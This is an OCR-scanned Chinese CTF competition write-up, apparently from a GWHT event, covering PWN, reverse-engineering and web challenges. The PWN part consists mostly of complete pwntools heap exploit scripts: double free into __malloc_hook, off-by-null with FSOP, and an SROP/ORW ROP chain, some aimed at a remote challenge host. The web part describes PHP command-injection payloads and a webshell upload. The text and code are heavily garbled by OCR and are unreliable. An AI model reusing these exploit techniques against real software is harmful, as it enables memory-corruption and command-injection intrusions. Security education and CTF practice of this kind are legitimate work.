writeup

PWN

sign_in
BB AJUAF,— P double free ¥TZImalloc_hook,#AfGreallocfEi%

from pwn import*
context.log level = 'DEBUG'
def menu(ch):
p.sendlineafter('choice :',str(ch))
def new(size,name,content):
menu(l)
p.sendlineafter("game's name:",str(size))
p.sendafter("game's name:",name)
p.sendlineafter("game's message:",content)
def free(index):
menu(3)
p-sendlineafter('index:',str(index))
def show():

menu(2)

p = process('./main')

#p = remote('183.129.189.60',10029)
libc = ELF('./libc-2.23.s0")
new(0x100, 'FMYY', 'FMYY')

new(0x68, 'FMYY', 'FMYY')

new(0x68, 'FMYY', 'FMYY')

free(0)

new(0xDO0, '\x78"', '\x78")

show()
libc_base = u64(p.recvuntil('\x7F')[-6:].1just (8, '\x00"')) -
libc.sym[' malloc_hook'] - 88 - 0x10

log.info( 'LIBC:\t' + hex(libc_base))

malloc_hook = libc_base + libc.sym[' malloc_hook']
rce = libc_base + 0xF1207

realloc = libc_base + libc.sym[ 'realloc']

free(1)

free(2)

free(1)

new(0x68,p64(malloc_hook - 0x23), 'FMYY')

new(0x68, 'FMYY', 'FMYY')

new(0x68, 'FMYY', 'FMYY')



new(0x68, '\x00'*(0x13-8) + p64(rce) + p64(realloc + 4), 'FMYY')
menu(1l)

p.interactive()

easy_heap

B Aoff by null,2.3189, A EHE P&, FAmalloc_hook + 10 + SROPRIEN 575 AMENAT orw flag

from pwn import*
context.arch = 'AMD64'
#context.log level = 'DEBUG'
def menu(ch):
p.sendlineafter('Choice:',str(ch))
def new(size):
menu(l)
p.sendlineafter('Size: ',str(size))
def edit(index,content):
menu(2)

p.sendlineafter('Index:',str(index))
p.sendafter('Content:',content)
def free(index):
menu(3)
p.sendlineafter('Index:',str(index))
def show(index):
menu(4)

p.sendlineafter('Index:',str(index))

P process('./main')
P remote('183.129.189.60"',10009)
libc =ELF('./libc-2.31.s0")

for i in range(4):
new(0x1000)
new(0x1000-0x3E0 - 0x50 + 0x10)
#--large bin
for i in range(7):
new(0x28)
new(0xB20)
new(0x10)

free(12)

new(0x1000)

new(0x28) #14

edit(14,p64(0) + p64(0x521) + '\x40")
#e e

#-— small bin

new(0x28) #15

new(0x28) #16

new(0x28) #17

new(0x28) #18



for i in range(7): #5 - 11

free(5+1)

free(17)
free(15)

for i in range(7):
new(0x28)

new(0x400) #15

new(0x28) #17

edit(17,p64(0) + '\x20")
new(0x28) # clear the tcache bin
H#o—

#--fast bin
for i in range(7):
free(5 + 1)
free(16)
free(14)
for i in range(7):
new(0x28)
new(0x28)
edit(14,'\x20")
new(0x28)
#e
new(0x28) #20
new(0x5F8)
free(20)
new(0x28)
edit (20, '\x00'*0x20 + p64(0x520))
free(21)
new(0x40)
new(0x40)
show(16)
libc _base = u64(p.recvuntil('\x7F')[-6:].1just (8, '\x00')) - 0x60 -0x1l0 -
libc.sym[' malloc_hook']
log.info('LIBC:\t' + hex(libc base))
free hook = libc base + libc.sym[' free hook']
system = libc_base + libc.sym[ 'system']
IO _stdin = libc_base + 1libc.sym[' IO 2 1 stdin ']
free(22)
free(14)
new(0x28)
edit(14,p64(0) + p64(0x301))
new(0x2F0)
free(22)



free(21)
free(14)
new(0x28)
edit (14, '\x00'*0x10 + p64(IO0_stdin))

2L 4L )LL) L) ) )
L

pop rdi_ret = libc base + 0x0000000000026B72
pop_rdx rl2 = libc_base + 0x000000000011C1lEl
pop rsi _ret = libc base + 0x0000000000027529
pop_rax ret = libc_base + 0x000000000004A550

jmp rsi = libc_base + 0x00000000001105BD

syscall = libc base + libc.sym[ 'syscall']

target = libc_base + libc.sym[' IO 2 1 stdin ']
address = libc.sym[' free hook'] + libc_base
IO _str_ jumps = libc_base + 0x1ED560

frame address = target + 0xEO

Open = libc base + libc.symbols["open"]

Read libc_base + libc.symbols["read"]

Puts libc_base + libc.symbols[ 'puts']
free hook = address

IO = '\x00'*0x28

IO += p64(frame_address)

IO = IO0.ljust(0xD8, " '\x00")

IO += p64(IO_str jumps)

read = libc _base + libc.sym[ 'read']

frame = SigreturnFrame()

frame.rax = 0
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x2000

frame.rsp = address

frame.rip = Read

orw = p64(pop rdi ret)+p64(free hook + 0xF8)
orw += p64(pop rsi ret)+p64(0)

orw += p64(Open)

orw += p64(pop rdi ret) + p64(3)

orw += p64(pop_rdx rl2) + p64(0x30) + p64(0)
orw += p64(pop rsi ret) + p64(free hook+0x100)
orw += p64(Read)

orw += p64(pop _rdi_ ret)+p64 (free_hook+0x100)
orw += p64(Puts)

orw = orw.ljust(0xF8,'\x00")

orw += './flag\x00\x00'

IO += str(frame)



IO += 'F'*0x18 + p64(libc base + libc.sym[ 'setcontext'] + 61)

2L 4L )L L L L) L )
L A

new(0x2F0)
new(0x2FO0)

log.success( 'Now')

edit(22,10)

menu(5)

p.sendlineafter('bye bye!',orw)

p.interactive()

babypwn

th 2 E R, FE—ibcibiit, F— P REfastbin, F Hscanfi NEIEL Z 2 BRIE—Tlarge bin chunk,
AT & fastbind#gchunk Btsmall bindR, B HiEEIR ZZlibc,— 1 double free HiEd EENFT$TZ
malloc_hook

from pwn import*
context.log level = 'DEBUG'
def menu(ch):
p.sendlineafter('choice :',str(ch))
def new(size,name,content,sign=1):
menu(l)
p.sendlineafter("game's name:",str(size))
p.sendafter("game's name:",name)
if sign:
p.sendlineafter("game's message:",content)
else:
p.sendline(content)
def free(index):
menu(2)

p.sendlineafter('index:',str(index))

P process('./main')

p = remote('183.129.189.60',10031)
libc =ELF('./libc-2.23.s0")
new(0x28, 'FMYY', 'FMYY')

new(0x60, 'FMYY', 'FMYY')

new(0x60, 'FMYY', 'FMYY')
new(0x60, 'FMYY', 'FMYY')
free(2)

menu(1l)
p.sendlineafter("game's name:",'0'*0x500)
free(0)

new(0x60, '\xDD\x25"', 'FMYY")
free(1)

free(3)

free(1)

new(0x60, '\x30"', 'FMYY"')



new(0x60, 'FMYY', 'FMYY')

new(0x60, 'FMYY', 'FMYY')

new(0x60, 'FMYY', 'FMYY')

new(0x60, '\x00'*0x33 + p64(0xXFBAD1800) + p64(0)*3 + '\x88','FMYY',sign=0)
libc_base = u64(p.recvuntil('\x7F')[-6:].1just (8, '\x00"')) -
libc.sym[' IO 2 1 stdin ']

malloc_hook = libc_base + libc.sym[' malloc_hook']

realloc = libc _base + libc.sym[ 'realloc']

rce = libc_base + 0xF1207

free(5)

free(6)

free(5)

new(0x68,p64(malloc_hook - 0x23), 'FMYY')

new(0x68, 'FMYY', 'FMYY')

new(0x68, 'FMYY', 'FMYY')

new(0x68, '\x00'*(0x13-8) + p64(rce) + p64(realloc + 4), 'FMYY')
menu(1l)

p.interactive()

RE

login

pythonX {4 B3k Hexe, Apyinstxtractor.py, ZE#FZ—TFpycXHHLBREF—THMITT, 25
Z3fF— T, Bxor FRiAT T
(RYmIFHISTLE)

'""'from z3 import *
al = Int("al")
a2 = Int("a2")
a3 = Int("a3")
a4 = Int("a4d")
a5 = Int("a5")
a6 = Int("a6")
a7 = Int("a7")
a8 = Int("a8")
a9 = Int("a9%")
al0 = Int("all0")
all = Int("all")
al2 = Int("al2")
al3 Int("al3")
ald = Int("al4d")

s = Solver()

s.add(al * 88 + a2 * 67 + a3 * 65 - a4 * 5 + a5 * 43 + a6 * 89 + a7 * 25 + a8 *

13 - a9 * 36 + al0 * 15 + all * 11 + al2 * 47 - al3 * 60 + ald * 29 == 22748
,al * 89 + a2 * 7 + a3 * 12 - a4 * 25 + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66

+ a9 * 31 + al0 * 8 + all * 2 - al2 * 41 - al3 * 39 + al4d * 17 == 7258



,al *
- a9 =*

,al *

28 + a2 * 35 + a3 *
33 + al0 * 13 + all
23 + a2 * 34 + a3 *

*128) - a9 * 32 + al0 * 75

,al *
- a9 *
,al *

- a9 =*

- a9 * 47 + al0 * 34 + all * 76 + al2 *

38 + a2 * 97 + a3 *
36 + al0 * 57 + all
22 + a2 * 27 + a3 *
26 + al0 * 35 + all

16 - a4 * 65 + a5 * 53 + a6 *
* 101 + al2 * 90 - al3 * 34 +
35 - a4 * 59 + a5 * 49 + a6 *
+ all * 81 + al2 * 47 - al3 *
35 - a4 * 52 + a5 * 42 + a6 *

39 + a7 * 27 + a8 * 15

* 81 + al2 * 42 - al3 * 62 - al4

35 - a4 * 45 + a5 * 47 + a6 *

* 41 + al2 * 40 - al3 * 61 + al4d
,al * 12 + a2 * 45 + a3 * 35 - a4 * 9 - a5 * 42 + a6 *

ald * 23
8l + a7
60 + al4
79 + a7
* 11
49 + a7
* 28
86 + a7
* 65

43 - al3 * 44 + al4

== 26190
* 25 + (a8
* 29 == 37136
* 90 + a8 * 23

,al * 79 + a2 * 62 + a3 * 35 - a4 * 85 + a5 * 33 + a6 * 79 + a7 * 86 + a8 *
14 - a9 * 30 + al0 * 25 + all * 11 + al2 * 57 - al3 * 50 - al4d *
,al * 8 + a2 * 6 + a3 * 64 - a4 * 85 + a5 * 73 + a6 * 29 + a7 * 2 + a8 * 23

- a9 * 36 + al0 * 5 + all * 2 + al2 * 47 - al3 * 64 + ald * 27
,al * 67 - a2 * 68 + a3 * 68 - a4 * 51 - a5 * 43 + a6 * 81
12 - a9 * 38 + al0 * 75 + all * 41 + al2 * 27 - al3 * 52 + al4
,al * 85 + a2 * 63 + a3 * 5 - a4 * 51 + a5 * 44 + a6 * 36
15 - a9 * 6 + al0 * 45 + all * 31 + al2 * 7 - al3 * 67 + ald *

+
*
+
78

== 27915

* 29 + a8 * 18
== 17298

* 23 + a8 * 85
== 19875

9 == 22784
9710

a7 * 22 - a8 *
31 == 13376

a7 * 28 + a8 *
== 24065

,al * 47 + a2 * 64 + a3 * 66 - a4 * 5 + a5 * 43 + a6 * 112 + a7 * 25 + a8
*# 13 - a9 * 35 + al0 * 95 + all * 21 + al2 * 43 - al3 * 61 + al4d * 20 == 27687
,al * 89 + a2 * 67 + a3 * 85 - a4 * 25 + a5 * 49 + a6 * 89 + a7 * 23 + a8

* 56 — a9 * 92 + al0 * 14 + all * 89 + al2 * 47 - al3 * 61 - ald * 29 == 29250
,al * 95 + a2 * 34 + a3 * 62 - a4 * 9 - a5 * 43 + a6 * 83 + a7 * 25 + a8 *
12 - a9 * 36 + al0 * 16 + all * 51 + al2 * 47 - al3 * 60 - ald * 24 == 15317)

if s.check()==sat:

print(s.model())

a2 = 24

al3 = 88

a6 = 43

a9 = 52

ald = 33

a5 = 104

alz = 74

a7 = 28

al = 119

alo = 108
all = 88

a8 = 91

ad =7

a3 = 10

code = [0]*14
code[2] = al
code[l] = a2
code[0] = a3
code[3] = a4
code[4] = a5
code[5] = a6
code[6] = a7
code[7] = a8



code[9] = a9
code[8] = alo0
code[10] = all
code[ll] = al2
code[1l2] = al3
code[1l3] = al4d

print (code)

inputl = [0]*14

for i in range(12,-1,-1):
code[i] = (code[i] " code[i+l1l])&O0xff
inputl[i]=code[i]

s="".join(chr(inputl[i]) for i in range(len(code)))

print(s)

easyre

37MINE 81 base64 B2 M3A—ARUE, BITKRMRFE, HF

from base64 import *
output = "EmBmP5Pmn7QcPU4gLYKv5Q0cMmB3PWHcP5YkPg3=cT6QckkPckoRG"
inputl =[0]*len(output)
for i in range(len(output)):
if((ord(output[i])>=ord('A'))and(ord(output[i])<=ord("z2"))):
inputl[i] = ord('A')+(ord(output[i])-ord('A')-3+26)%26

elif(ord(output[i])>=ord('a') and (ord(output[i])<=ord('z'))):
inputl[i] = ord('a')+(ord(output[i])-ord('a')-3+26)%26
elif((ord(output[i])>=0x30 )and (ord(output[i])<=ord('9'))):

inputl[i] = ord('0')+(ord(output[i])-ord('0')-3+26)%26
else B
inputl[i] = ord(output[i])
s="".join(chr(inputl[i]) for i in range(len(inputl)))
##print(s)
sl=s[0:0xd]

s2 = s[0xd:0xd*2]
s3=s[0xd*2:0xd*3]
s4=s[0xd*3:]
'""'print(s)
print(sl)
print(s2)
print(s3)
print(s4)'"'’

result = s2+s4+sl+s3
print (b64decode(result))



babyre

Z5Ades-cbcin®, B— Fai1T"th1s1sth3n1c3k3y", BXaes-ecbilZEHa B
(2*@1[21] A Ox13)+7)Ma1[21]%9+a1[22]+2) 518, FREEZAZ3M@E T, BB ZME, — ik

from Crypto.Cipher import AES
from z3 import *
'''cipher = "\x0a\xf4\xee\xc8\x42\x8a\x9b\xdb\xa2\x26\x6f\xee\xee\xe0\xd8\xa2"
iv = "\x00\x00\x00\x00\x00\x00\x00\x00"
key = "\xad\x52\xf2\x4c\xe3\x2c\x20\xd6"
des = DES.new(key,mode=DES.MODE_CBC,iv=iv)
m = des.decrypt(cipher)
print(m) """’
''"'cipher = "12345678901234567890123456789012"
key="thlslsth3nlc3k3y"
aes = AES.new(key,mode=AES.MODE_ECB)
m = aes.encrypt(cipher)
print(m) """’
result = [ 0xBD, OxAD, 0xB4, 0x84, 0x10, 0x63, 0xB3, OxEl, 0xC6, 0x84,
0x2D, Ox6F, O0xBA, 0x88, 0x74, 0xC4, 0x90, 0x32, OxXEA, O0x2E,
0xC6, 0x28, 0x65, 0x70, 0xC9, 0x75, 0x78, 0xAO0, 0x0B, Ox9F,
0xA6]
al = [0]*32
'"'"'"for i in range(32):
al[i] = BitVec("al["+str(i)+"1",16)
tmp = BitVec('tmp',16)
s = Solver()
s.add(result[0]==((2*(al[0]"0x13)+7)"(al[0]%9+al[1l]+2)))
s.add(result[1l]==((2*(al[1l]"0x13)+7)"(al[1l]%9+al[2]+2)))
s.add(result[2]==((2*(al[2]"0x13)+7)"(al[2]%9+al[3]+2)))
.add(result[3]==((2*(al[3]"0x13)+7)"(al[3]%9+al[4]1+2)))
.add(result[4]==((2*(al[4]70x13)+7)"(al[4]%9+al[5]+2))%0x100)
.add(result[5]==((2*(al[5]"70x13)+7)"(al[5]1%9+al[6]+2))%0x100)
.add(result[6]==((2*(al[6]"0x13)+7)"(al[6]%9+al[7]+2))%0x100)
.add(result[7]==((2*(al[7]70x13)+7)"(al[7]1%9+al[8]+2))%0x100)
.add(result[8]==((2*(al[8]"0x13)+7)"(al[8]%9+al[9]+2))%0x100)
.add(result[9]==((2*(al[9]"0x13)+7)"(al[9]%9+al[10]+2))%0x100)
.add(result[10]==((2*(al[10]70x13)+7)"(al[10]1%9+al[11]+2))%0x100)
.add(result[1ll]==((2*(al[l11]170x13)+7)"(al[11]1%9+al[12]+2))%0x100)
.add(result[12]==((2*(al[12]70x13)+7)"(al[12]1%9+al[13]+2))%0x100)
.add(result[13]==((2*(al[13]"0x13)+7)"(al[1l3]%9+al[14]1+2))%0x100)
.add(result[14]==((2*(al[l14]"0x13)+7)"(al[1l4]1%9+al[15]+2))%0x100)
.add(result[15]==((2*(al[15]170x13)+7)"(al[15]1%9+al[16]+2))%0x100)
.add(result[16]==((2*(al[l16]70x13)+7)"(al[16]1%9+al[17]+2))%0x100)
.add(result[17]==((2*(al[17]170x13)+7)"(al[17]1%9+al[18]+2))%0x100)
.add(result[18]==((2*(al[18]"0x13)+7)"(al[18]%9+al[19]+2))%0x100)
.add(result[19]==((2*(al[19]"0x13)+7)"(al[19]1%9+al[20]1+2))%0x100)
s.add(result[20]==((2*(al[20]70x13)+7)"(al[20]1%9+al[21]+2))%0x100)

n n n n n n n n n n nu n n n n

0

n



S

S

.add(result[21l]==((2*(al[21]170x13)+7)"(al[21]1%9+al[22]+2))%0x100)
.add(result[22]==((2*(al[22]70x13)+7)"(al[22]1%9+al[23]+2))%0x100)
.add(result[23]==((2*(al[23]"0x13)+7)"(al[23]%9+al[24]+2))%0x100)
.add(result[24]==((2*(al[24]170x13)+7)"(al[24]1%9+al[25]+2))%0x100)
.add(result[25]==((2*(al[25]70x13)+7)"(al[25]%9+al[26]+2))%0x100)
.add(result[26]==((2*(al[26]70x13)+7)"(al[26]1%9+al[27]+2))%0x100)
.add(result[27]==((2*(al[27]"0x13)+7)"(al[27]%9+al[28]+2))%0x100)
.add(result[28]==(((2*(al[28]70x13)+7)"(al[28]1%9+al[29]+2)))%0x100)
.add(result[29]==(((2*(al[29]70x13)+7)"(al[29]%9+al[30]1+2)))%0x100)
.add(result[30]==((2*(al[30]70x13)+7)"(al[30]%9+al[31]+2))%0x100)
.add(al[30]>0x00 ,al[30]<0xff)

.add(al[29]1>0x00,al[29]<0xff)

.add(al[28]>0x00,al[28]<0xff)

.add(al[27]>0x00,al[27]<0xff)

.add(al[26]>0x00,al[26]<0xff)

.add(al[25]>0x00,al[25]1<0xff)

.add(al[24]>0x00,al[241<0xff)

.add(al[23]>0x00,al[23]<0xff)

.add(al[22]>0x00,al[22]1<0xff)

.add(al[21]>0x00,al[21]<0xff)

.add(al[20]>0x00,al1[20]1<0xff)

.add(al[19]1>0x00,al[19]<0xff)

.add(al[18]1>0x00,al[18]<0xff)

.add(al[17]1>0x00,al[17]<0xff)

.add(al[16]1>0x00,al[16]<0xff)

.add(al[15]>0x00,al[15]1<0xff)

.add(al[14]>0x00,al[141<0xff)

.add(al[13]1>0x00,al[13]<0xff)

.add(al[12]>0x00,al[12]1<0xff)

.add(al[11]1>0x00,al[11]<0xff)

.add(al[10]>0x00,al[10]<0xff)

.add(al[9]1>0x00,al[9]<0xff)

.add(al[8]>0x00,al[8]<0xff)

.add(al[7]>0x00,al[7]<0xff)

.add(al[6]>0x00,al[6]<0xff)

.add(al[5]>0x00,al[5]<0xff)

.add(al[4]1>0x00,al[4]<0xff)

.add(al[3]>0x00,al[3]<0xff)

.add(al[2]>0x00,al[2]<0xff)

.add(al[1]>0x00,al[1]<0xff)

.add(al[0]>0x00,al[0]<0xff)

.add(al[31]==0xc4)

if(s.check()):

print(s.model())

al[5] = 77
al[9] = 250
al[l] = 119

al[13] = 150
al[12] = 30



al[19] = 48
al[l0] = 84
al[8] = 138
al[1l] = 179
al[26] = 132
al[27] = 69
al[6] = 153
al[17] = 133
al[22] = 186
al[2] = 94
al[24] = 28
al[21] = 97
al[3] = 15
al[29] = 56
al[4] = 179
al[2s] = 11
al[30] = 190
al[l8] = 248
al[23] = 52
al[le] = 24
al[7] = 166
al[l5] = 124
al[o] = 77
al[20] = 94
al[l4] = 145
al[25] = 233

al[31l] = 196
for i in range(31,-1,-1):
for j in range(i/4):
al[i]"=al[]]

print(al)

for i in range(32):
print(hex(al[i]))

cipher=""

key = "thlslsth3nlc3k3y"

aes = AES.new(key,mode=AES.MODE ECB)

.join(chr(al[i]) for i in range(32))

m = aes.decrypt(cipher)

print(m)

bytecode

python#F 1R
HIEI 202018 tB N2 " GWHT{"
EEISEIEMARLRT




##GWHT {cfa2b87b3£f746a8f0ac5c5963f}

from z3 import *

en = [3,37,72,9,6,132]

##inputl =[]

k=0

output =
[101,96,23,68,112,42,107,62,96,53,176,179,98,53,67,29,41,120,60,106,51,101,178,
189,101,48]

##for i in range(13):

## inputl.append(output[2*i]”“en[i%6])

## inputl.append(output[2*i+1] * en[i%6])
##print (inputl)

##s = "".join(chr(inputl[i]) for i in range(26))
##print(s)

"""inputl="GWHT{cfa2b87b3f746a8f0ac5c5963f"
strl = inputl
x =[]
k=5
for i in range(13):
b ord(strl[k])
c = ord(strl[k+1l])
all = en[i%6]"C

a22 = en[i%6]"b

x.append(all)
X.append(a22)
k = k+2

print(x)

al = Int("al")

a2 = Int("a2")

a3 = Int("a3")

a4 = Int("a4d")

a5 = Int("ab")

a6 = Int("a6")

s =Solver()

s.add(3*al+2*a2+5*a3==1003)

s.add(4*al+7*a2+9*a3==2013)

s.add(8*a2+al+2*a3==1109)

s.add(3*a4+2*a5+5*a6==671)

s.add(4*ad4+7*a5+9*a6==1252)

s.add(8*a5+ad4+2*a6==644)

if(s.check()):
print(s.model())

print(""+chr(97)+chr(101)+chr(102)+chr(102)+chr(55)+chr(51))



WEB

easycon

=

FTH Z2E=&Ubuntu Default Page, EERBAERITIRT, REEFFRLKUMALAEIE, EIEHE
it EEIN _E/index.php, HATIE
R, EEBEEER, BRElcmdAsEMEEEEn

FiEZWE v G, BE—Tbbbbbb.txt, T&H A Ebase64IZE K
BlackCat

RIERT, MARMBEERE, ERETUBEERNREIFE, KEFTIUERIRD

s

/*
if (empty($_ POST[ 'Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('iff! BHBHEE—REMNERE! ');
}

Sclandestine = getenv("clandestine");
if (isset($_POST[ 'White-cat-monitor']))

$clandestine = hash hmac('sha256', $ POST[ 'White-cat-monitor'],

$clandestine);

$hh = hash_hmac('sha256', $ POST['One-ear'], $clandestine);

if($hh !== $ POST[ 'Black-Cat-Sheriff']){

die(' BRMHE, TREIR, MNEZEHMEMEMENBIR, BEBS, (RIS HEOLNF
= " )g
}

echo exec("nc".$ POST[ 'One-ear']);

Black-Cat-SheriffflOne-ear REENZE, One-earpl® 2 G EIBlack-Cat-Sheriffs@iE%E
hash_hmac() R EEEANBAERN SR, AEIRE—TNULL

E5$E—"hash_hmacilBE—P AT E, $clandestine®f{EFLEnull, B, - ThashiERFEE
220

One-ear: f& A\payload

White-cat-monitor: EA—"1#HE$clandestine



Black-Cat-Sheriff: &£ ABAnullgkey Nzt kA 25
LERY, BRI T an<HATRARER D

EHexecREERERE—1T, FILAENAbasebdIBERETESZANE (basebdtb REEEREERAIA
)

=
payload: ;s |base64 &2=iX5| B

—R—REL, FXRII—TREMNphp4d R4

payload: ;s *php|base64 A]IXAEZIflag.php, cat—TF, MEET

Easyphp

<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);

}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight file(_ FILE );
die();
}
$content = $ GET[ 'content'];
if(stristr($content,'on') || stristr(Scontent, 'html') ||
stristr($content, 'type') || stristr($content,'flag') ||
stristr($content, 'upload') || stristr($Scontent,'file')) {
echo "Hacker";
die();
}
$filename = $ GET[ 'filename'];
if (preg match("/["a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./");
foreach($files as $file) {
if(is_file(sfile)){
if ($file !== "index.php") {
unlink($file);



file put contents($filename, $content . "\nHello, world");
2>

F Afile_put_contents>kiEfEindex.php
$filename=index.php
$content=

tERSindex.phpELMAARS, WIUEZER, FEXEEEZfag

Easyphp2

RERETMAER Y, SIC&EET, [HIRE

1. FTAMLUE, ZHMurltbit BEATGWHT.php, B 1TEXK "only people from GWHT" #Ecookie 2 H
AIpassEX B GWHT
ARERIGE S Aphp:/filteriZXX 4, AFITIE T base6d, AT v AR urlfwiEd,
php://filter/read=convert%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25
%33%34-encode/recource=GWHT.php
rotots.txtg MERcheck.php, ML T i8R T8
GWHT.php

<!DOCTYPE html>

<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">

<title>count is here</title>
<style>

html,

body {

overflow: none;

max-height: 100vh;
</style>
</head>

<body style="height: 100vh; text-align: center; background-color: green; color:

blue; display: flex; flex-direction: column; justify-content: center;">

<center><img src="question.jpg" height="200" width="200" /> </center>



<?php

ini_set('max_execution_time', 5);

if ($_COOKIE[ 'pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<hl>"'."'404"'.'<hl>"'.'<br>'.'Sorry,
only people from GWHT are allowed to access this website.'.'23333');
}

2>

<hl>A Counter is here, but it has someting wrong</hl>

<form>
<input type="hidden" value="GWHT.php" name="file">
<textarea style="border-radius: lrem;" type="text" name="count" rows=10
cols=50></textarea><br />
<input type="submit">

</form>

<?php
if (isset($_GET["count"])) {
$count = $ GET["count"];
if(preg match('/;|base64|rotl3|base32|basel6|<\?php|#/i', S$Scount)){

die( 'hacker!');

}
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c')
"</h2>";
}
?2>
</body>
<html>

FIF execHTH <, MEEBHE—TRMEILA T |we-c | Is>1.txt REIHEN txt, ARBE P —GFRDHEHE
i, HRBISV/HTENT, RAEBEE.0KINEMz2y.php, [HIZE, Fﬂ%}i‘i’ifﬂ

AR, SABTERBFfind /-name fI* , £/GWHT/system/of/a/dowm({ll 21X E) B & I —
flag.txt, RIVKBENPR, F/GWHTHIER FE—TREAMDEX Y, md5ikfEhash, 155G,
GWHTCTF, AR EDRAF .

EWIEAIIRE FRRI—Tshel shEHRITIXER, B TR3¥Eshell 98, REZIESRSEE L,
EBECARSE LW EIshell/F, suGWHT , ARBMABBGWHTCTF, tIREIGWHTRF, EEflag.txtXX
%, FINf5EIflag
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